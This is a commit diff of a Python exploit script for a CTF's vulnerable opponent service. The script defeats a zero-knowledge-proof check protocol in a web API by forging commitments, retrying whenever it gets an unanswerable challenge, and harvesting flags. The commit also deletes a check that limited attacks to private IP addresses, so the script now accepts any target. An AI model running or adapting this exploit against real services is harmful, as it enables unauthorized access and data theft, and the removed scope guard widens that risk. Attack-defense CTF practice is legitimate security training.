dark-tariff-example-format
This commit is contained in:
1 parent
8ca60bf5d7
commit
dc3605f7c7
1 file changed
+33
-39
+33
-39
@@ -9,35 +9,25 @@ This is intended for the vulnerable opponent service in the CTF only.
|
|||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import argparse
|
|
||||||
import base64
|
import base64
|
||||||
import hashlib
|
import hashlib
|
||||||
import ipaddress
|
|
||||||
import json
|
import json
|
||||||
import re
|
import re
|
||||||
import secrets
|
import secrets
|
||||||
import sys
|
import sys
|
||||||
from typing import Any
|
from typing import Any
|
||||||
from urllib.parse import urlsplit
|
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
|
|
||||||
|
|
||||||
FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=")
|
FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=")
|
||||||
DEFAULT_PORT = 8080
|
PORT = 8080
|
||||||
|
TIMEOUT = 4
|
||||||
|
MAX_ATTEMPTS = 100
|
||||||
|
|
||||||
|
|
||||||
def target_host(value: str, default_port: int) -> tuple[str, int]:
|
def log(message: str) -> None:
|
||||||
raw = value.strip()
|
print(message, file=sys.stderr, flush=True)
|
||||||
if "://" not in raw:
|
|
||||||
raw = f"http://{raw}"
|
|
||||||
parsed = urlsplit(raw)
|
|
||||||
if not parsed.hostname:
|
|
||||||
raise ValueError("expected HOST or host:port")
|
|
||||||
address = ipaddress.ip_address(parsed.hostname)
|
|
||||||
if not address.is_private:
|
|
||||||
raise ValueError("refusing non-private target")
|
|
||||||
return parsed.hostname, parsed.port or default_port
|
|
||||||
|
|
||||||
|
|
||||||
def bits(value: int, width: int) -> str:
|
def bits(value: int, width: int) -> str:
|
||||||
@@ -124,7 +114,7 @@ def flags_in(value: Any) -> set[str]:
|
|||||||
|
|
||||||
|
|
||||||
def get_readings(session: requests.Session, base: str) -> list[dict[str, Any]]:
|
def get_readings(session: requests.Session, base: str) -> list[dict[str, Any]]:
|
||||||
data = request_json(session.get(f"{base}/api/readings", timeout=8))
|
data = request_json(session.get(f"{base}/api/readings", timeout=TIMEOUT))
|
||||||
if not isinstance(data, list):
|
if not isinstance(data, list):
|
||||||
raise RuntimeError("/api/readings did not return a list")
|
raise RuntimeError("/api/readings did not return a list")
|
||||||
readings = [item for item in data
|
readings = [item for item in data
|
||||||
@@ -139,13 +129,13 @@ def commit_hash(prefix: str, payload: str) -> str:
|
|||||||
|
|
||||||
|
|
||||||
def exploit_reading(session: requests.Session, base: str,
|
def exploit_reading(session: requests.Session, base: str,
|
||||||
reading: dict[str, Any], attempts: int, timeout: float) -> set[str]:
|
reading: dict[str, Any]) -> set[str]:
|
||||||
rows, y_text, width = parse_parameters(str(reading["parameters"]))
|
rows, y_text, width = parse_parameters(str(reading["parameters"]))
|
||||||
reading_id = int(reading["id"])
|
reading_id = int(reading["id"])
|
||||||
rng = secrets.SystemRandom()
|
rng = secrets.SystemRandom()
|
||||||
found = flags_in(reading)
|
found = flags_in(reading)
|
||||||
|
|
||||||
for attempt in range(1, attempts + 1):
|
for attempt in range(1, MAX_ATTEMPTS + 1):
|
||||||
vector0 = secrets.randbits(width)
|
vector0 = secrets.randbits(width)
|
||||||
order = list(range(width))
|
order = list(range(width))
|
||||||
rng.shuffle(order)
|
rng.shuffle(order)
|
||||||
@@ -159,14 +149,14 @@ def exploit_reading(session: requests.Session, base: str,
|
|||||||
]
|
]
|
||||||
|
|
||||||
start = request_json(session.post(
|
start = request_json(session.post(
|
||||||
f"{base}/api/chat/checks", json={"reading_id": reading_id}, timeout=timeout))
|
f"{base}/api/chat/checks", json={"reading_id": reading_id}, timeout=TIMEOUT))
|
||||||
check_id = start["id"]
|
check_id = start["id"]
|
||||||
round_no = int(start.get("round", 1))
|
round_no = int(start.get("round", 1))
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
commit = request_json(session.post(
|
commit = request_json(session.post(
|
||||||
f"{base}/api/chat/checks/{check_id}/commit",
|
f"{base}/api/chat/checks/{check_id}/commit",
|
||||||
json={"round": round_no, "values": values}, timeout=timeout))
|
json={"round": round_no, "values": values}, timeout=TIMEOUT))
|
||||||
challenge = int(commit["challenge"])
|
challenge = int(commit["challenge"])
|
||||||
if challenge == 0:
|
if challenge == 0:
|
||||||
answer = {"v": bits(vector0, width), "p": order}
|
answer = {"v": bits(vector0, width), "p": order}
|
||||||
@@ -179,15 +169,15 @@ def exploit_reading(session: requests.Session, base: str,
|
|||||||
f"{base}/api/chat/checks/{check_id}/answer",
|
f"{base}/api/chat/checks/{check_id}/answer",
|
||||||
json={"round": round_no,
|
json={"round": round_no,
|
||||||
"data": {"v": "0" * width, "t": "0" * width}},
|
"data": {"v": "0" * width, "t": "0" * width}},
|
||||||
timeout=timeout,
|
timeout=TIMEOUT,
|
||||||
)
|
)
|
||||||
finally:
|
finally:
|
||||||
print(f"attempt {attempt}: challenge 2, restarting", file=sys.stderr)
|
log(f"attempt {attempt}: challenge 2, restarting")
|
||||||
break
|
break
|
||||||
|
|
||||||
result = request_json(session.post(
|
result = request_json(session.post(
|
||||||
f"{base}/api/chat/checks/{check_id}/answer",
|
f"{base}/api/chat/checks/{check_id}/answer",
|
||||||
json={"round": round_no, "data": answer}, timeout=timeout))
|
json={"round": round_no, "data": answer}, timeout=TIMEOUT))
|
||||||
found.update(flags_in(result))
|
found.update(flags_in(result))
|
||||||
if result.get("stage") == "done":
|
if result.get("stage") == "done":
|
||||||
return found
|
return found
|
||||||
@@ -197,30 +187,34 @@ def exploit_reading(session: requests.Session, base: str,
|
|||||||
return found
|
return found
|
||||||
|
|
||||||
|
|
||||||
def main() -> int:
|
def run(target: str) -> None:
|
||||||
parser = argparse.ArgumentParser(description=__doc__)
|
|
||||||
parser.add_argument("target", help="Neo target HOST or host:port")
|
|
||||||
parser.add_argument("--port", type=int, default=DEFAULT_PORT)
|
|
||||||
parser.add_argument("--max-attempts", type=int, default=100)
|
|
||||||
parser.add_argument("--timeout", type=float, default=8.0)
|
|
||||||
args = parser.parse_args()
|
|
||||||
|
|
||||||
host, port = target_host(args.target, args.port)
|
|
||||||
base = f"http://{host}:{port}"
|
|
||||||
session = requests.Session()
|
session = requests.Session()
|
||||||
|
session.trust_env = False
|
||||||
|
base = f"http://{target}:{PORT}"
|
||||||
session.headers["Accept"] = "application/json"
|
session.headers["Accept"] = "application/json"
|
||||||
found: set[str] = set()
|
found: set[str] = set()
|
||||||
for reading in get_readings(session, base)[:3]:
|
for reading in get_readings(session, base)[:3]:
|
||||||
try:
|
try:
|
||||||
found.update(exploit_reading(session, base, reading,
|
found.update(exploit_reading(session, base, reading))
|
||||||
args.max_attempts, args.timeout))
|
|
||||||
except (KeyError, ValueError, RuntimeError, requests.RequestException) as exc:
|
except (KeyError, ValueError, RuntimeError, requests.RequestException) as exc:
|
||||||
print(f"reading {reading.get('id')}: {exc}", file=sys.stderr)
|
log(f"target={target} reading={reading.get('id')} error={exc}")
|
||||||
if found:
|
if found:
|
||||||
print("\n".join(sorted(found)))
|
print("\n".join(sorted(found)))
|
||||||
return 0
|
else:
|
||||||
print("no flags matched; target may already contain the patched ZKP", file=sys.stderr)
|
log(f"target={target} no flags matched; target may be patched")
|
||||||
return 1
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
log(f"usage: {sys.argv[0]} TARGET")
|
||||||
|
return 2
|
||||||
|
try:
|
||||||
|
run(sys.argv[1])
|
||||||
|
except (KeyError, ValueError, RuntimeError,
|
||||||
|
requests.RequestException, json.JSONDecodeError) as exc:
|
||||||
|
log(f"target={sys.argv[1]} error={exc}")
|
||||||
|
return 1
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|||||||
Reference in new issue
Block a user